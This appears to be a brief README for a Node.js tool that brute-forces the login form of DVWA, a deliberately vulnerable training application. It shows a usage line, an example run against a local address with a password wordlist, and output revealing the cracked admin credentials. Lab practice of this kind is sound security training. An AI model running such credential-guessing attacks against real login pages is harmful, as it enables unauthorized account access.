Use BruteForce with DVWA login form
Usage: node index.js url user dictionary_file.txt
node index.js http://192.168.1.109/DVWA-master/login.php admin wordlists/fasttrack.txt
******************************************************************
UNLOCKED USER: admin WITH PASSWORD: password
******************************************************************